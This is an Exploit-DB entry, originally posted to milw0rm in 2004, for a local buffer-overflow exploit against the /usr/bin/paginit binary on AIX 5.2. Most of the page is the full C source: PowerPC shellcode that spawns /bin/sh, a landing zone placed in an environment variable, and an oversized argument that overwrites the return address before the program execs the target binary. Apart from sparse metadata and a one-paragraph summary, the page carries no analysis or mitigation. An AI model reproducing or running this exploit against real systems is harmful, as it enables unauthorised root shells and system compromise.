exploit for /usr/bin/paginit

vendor:

by:

cees-bart

N/A

CVSS

N/A

Unknown

CWE

Product Name:

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: AIX 5.2

2004

exploit for /usr/bin/paginit

This is an exploit for the /usr/bin/paginit binary on AIX 5.2. It attempts to execute shellcode by overwriting a specific address (RETADDR) in the memory. If the exploit fails, it suggests using dbx to check the shellcode address and update RETADDR accordingly. The shellcode is provided in the code.

Mitigation:

Unknown

Source

Exploit-DB raw data:

/* exploit for /usr/bin/paginit
   tested on: AIX 5.2

   if the exploit fails it's because the shellcode
   ends up at a different address. use dbx to check,
   and change RETADDR accordingly.

   cees-bart <ceesb cs ru nl>
*/

#define RETADDR 0x2ff22c90

char shellcode[] =
"\x7c\xa5\x2a\x79"
"\x40\x82\xff\xfd"      
"\x7c\xa8\x02\xa6"      
"\x38\xe0\x11\x11"
"\x39\x20\x48\x11"      
"\x7c\xc7\x48\x10"      
"\x38\x46\xc9\x05"      
"\x39\x25\x11\x11"
"\x38\x69\xef\x17"      
"\x38\x87\xee\xef"      
"\x7c\xc9\x03\xa6"      
"\x4e\x80\x04\x20"
"\x2f\x62\x69\x6e"      
"\x2f\x73\x68\x00"
;

char envlabel[] = "X=";

void printint(char* buf, int x) {
  buf[0] = x >> 24;
  buf[1] = (x >> 16) & 0xff;
  buf[2] = (x >> 8) & 0xff;
  buf[3] = x & 0xff;
}

int main(int argc, char **argv) {
  char *env[3];
  char code[1000];
  char buf[8000];
  char *p, *i;
  int offset1 = 0;

  offset1 = 0; // atoi(argv[1]);
  
  memset(code, 'C', sizeof(code));
  memcpy(code, envlabel,sizeof(envlabel)-1);
  // landingzone 
  for(i=code+sizeof(envlabel)+offset1; i<code+sizeof(code); i+=4) 
    printint(i, 0x7ca52a79);

  memcpy(code+sizeof(code)-sizeof(shellcode), shellcode, sizeof(shellcode)-1);  
  code[sizeof(code)-1] = 0;
  
  env[0] = code;
  env[1] = 0;

  memset(buf, 'A', sizeof(buf));
  buf[sizeof(buf)-1] = 0; 
  
  p = buf;
  p += 4114;
  printint(p,RETADDR); // try to hit the landingzone
  p += 72;
  printint(p, RETADDR); // any readable address (apparently not overwritten)

  execle("/usr/bin/paginit", "/usr/bin/paginit", buf, 0, env);
}

// milw0rm.com [2004-12-20]